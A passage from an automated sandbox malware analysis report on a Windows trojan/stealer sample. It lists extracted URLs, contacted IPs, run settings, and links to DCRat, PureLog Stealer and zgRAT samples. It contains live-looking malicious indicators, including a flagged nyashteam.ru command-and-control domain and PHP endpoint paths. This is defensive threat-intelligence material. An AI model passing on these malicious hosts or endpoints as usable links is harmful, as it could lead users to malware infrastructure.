gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.apache.org/licenses/LICENSE-2.0	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designersG	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.fontbureau.com/designers/?	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.fontbureau.com/designers?	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.tiro.com	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.fontbureau.com/designers	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.carterandcone.coml	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.typography.netD	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.fontbureau.com/designers/cabarga.htmlN	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/staff/dennis.htm	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://895157cm.nyashteam.ru	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002E58000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high
http://www.jiyu-kobo.co.jp/	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers8	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://895157cm.nyashtX	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.fonts.com	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sandoll.co.kr	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6G8OR42xrB.exe, 00000000.00000002.1781413855.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sakkal.com	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.186.200	895157cm.nyashteam.ru	United States		13335	CLOUDFLARENETUS	true
104.21.2.8	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579272
Start date and time:	2024-12-21 11:06:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6G8OR42xrB.exe renamed because original name is a hash value
Original Sample Name:	B9C8DEE5E0470B21D27B1A70AFE25495.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/292@1/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 23.218.208.109, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target roKDGeHYZcczQzeuqXqYGYyw.exe, PID 7636 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:07:30	API Interceptor	1368153x Sleep call for process: roKDGeHYZcczQzeuqXqYGYyw.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.186.200	kqq1aAcVUQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	319351cm.nyashteam.ru/Providerto_pollProcessorbigloadprotectSqlWpLocal.php
104.21.2.8	0wdppTE7Op.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	817087cm.nyashteam.ru/Jsmultiwp.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.197.170
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	104.21.21.99
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse	104.16.123.96
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.197.170
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	104.21.21.99
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse	104.16.123.96

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\BjHNOjmt.log	XNPOazHpXF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	9FwQYJSj4N.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	150bIjWiGH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	CPNSQusnwC.exe	Get hash	malicious	DCRat	Browse
